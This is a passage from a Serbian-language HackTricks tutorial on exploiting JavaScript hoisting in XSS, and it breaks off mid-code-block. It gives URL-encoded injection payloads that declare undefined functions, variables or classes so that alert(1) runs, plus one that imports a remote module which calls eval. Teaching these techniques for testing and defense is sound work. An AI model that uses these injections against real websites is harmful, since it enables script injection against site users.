# JS Hoisting {{#include ../../banners/hacktricks-training.md}} ## Osnovne informacije U jeziku JavaScript postoji mehanizam poznat kao **Hoisting** gde se deklaracije promenljivih, funkcija, klasa ili import-a konceptualno podižu na vrh njihovog opsega pre nego što se kod izvrši. Ovaj proces automatski obavlja JavaScript engine, koji prolazi kroz skriptu u više prolaza. Tokom prvog prolaza, engine parsira kod da proveri sintaksne greške i transformiše ga u apstraktno sintaksno stablo. Ova faza uključuje hoisting, proces gde se određene deklaracije pomeraju na vrh konteksta izvršavanja. Ako je faza parsiranja uspešna, što znači da nema sintaksnih grešaka, izvršavanje skripte se nastavlja. Važno je razumeti da: 1. Skripta mora biti bez sintaksnih grešaka da bi došlo do izvršenja. Pravila sintakse moraju biti strogo poštovana. 2. Pozicioniranje koda unutar skripte utiče na izvršenje zbog hoistinga, iako se izvršeni kod može razlikovati od njegove tekstualne reprezentacije. #### Tipovi hoistinga Na osnovu informacija sa MDN-a, postoji četiri različita tipa hoistinga u JavaScript-u: 1. **Value Hoisting**: Omogućava korišćenje vrednosti promenljive unutar njenog opsega pre linije njene deklaracije. 2. **Declaration Hoisting**: Dozvoljava referenciranje promenljive unutar njenog opsega pre njene deklaracije bez izazivanja `ReferenceError`, ali će vrednost promenljive biti `undefined`. 3. Ovaj tip menja ponašanje unutar svog opsega zato što je deklaracija promenljive dostupna pre njene stvarne linije deklaracije. 4. Sporedni efekti deklaracije se javljaju pre nego što se ostatak koda koji sadrži tu deklaraciju evaluira. Detaljnije, deklaracije funkcija pokazuju ponašanje tipa 1 hoistinga. Ključna reč `var` demonstrira ponašanje tipa 2. Leksikalne deklaracije, koje uključuju `let`, `const` i `class`, pokazuju ponašanje tipa 3. Na kraju, `import` izjave su jedinstvene po tome što su hoistovane sa ponašanjem tipa 1 i tipa 4. ## Scenariji Dakle, ako imate scenarije u kojima možete ubaciti JS kod nakon što se koristi nedeklarisan objekat, možete ispraviti sintaksu tako što ćete ga deklarisati (tako da se vaš kod izvrši umesto da baci grešku): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); // You can define it in your injection to execute JS //Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b '-alert(1)-''); function vulnerableFunction(a,b){return 1}; //Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1) test'); function vulnerableFunction(a,b){ return 1 };alert(1) ``` ```javascript // If a variable is not defined, you could define it in the injection // In the following example var a is not defined function myFunction(a,b){ return 1 }; myFunction(a, '') //Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b test'); var a = 1; alert(1); ``` ```javascript // If an undeclared class is used, you cannot declare it AFTER being used var variable = new unexploitableClass(); // But you can actually declare it as a function, being able to fix the syntax with something like: function unexploitableClass() { return 1; } alert(1); ``` ```javascript // Properties are not hoisted // So the following examples where the 'cookie' attribute doesn´t exist // cannot be fixed if you can only inject after that code: test.cookie("leo", "INJECTION") test[("cookie", "injection")] ``` ## Više scenarija ```javascript // Undeclared var accessing to an undeclared method x.y(1,INJECTION) // You can inject alert(1));function x(){}// // And execute the allert with (the alert is resolved before it's detected that the "y" is undefined x.y(1,alert(1));function x(){}//) ``` ```javascript // Undeclared var accessing 2 nested undeclared method x.y.z(1,INJECTION) // You can inject ");import {x} from "https://example.com/module.js"// // It will be executed x.y.z("alert(1)");import {x} from "https://example.com/module.js"//") // The imported module: // module.js var x = { y: { z: function(param) { eval(param); } } }; export { x }; ``` ```javascript // In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/ // It was injected the: let config;`-alert(1)`//` // With the goal of making in the block the var config be empty, so the return is not executed // And the same injection was replicated in the body URL to execute an alert try { if (config) { return } // TODO handle missing config for: https://try-to-catch.glitch.me/"+` let config ;`-alert(1)` //`+" } catch { fetch("/error", { method: "POST", body: { url: "https://try-to-catch.glitch.me/" + ` let config;` - alert(1) - `//` + "", }, }) } trigger() ``` ### Sprečite kasnije deklaracije zaključavanjem imena pomoću const Ako možete da izvršite kod pre nego što se parsira top-level `function foo(){...}`, deklarisanjem leksičkog vezivanja istog imena (npr. `const foo = ...`) sprečićete kasniju deklaraciju funkcije da ponovo vezuje taj identifikator. Ovo se može zloupotrebiti u RXSS da bi se preuzeli kritični handleri definisani kasnije na stranici: ```javascript // Malicious code runs first (e.g., earlier inline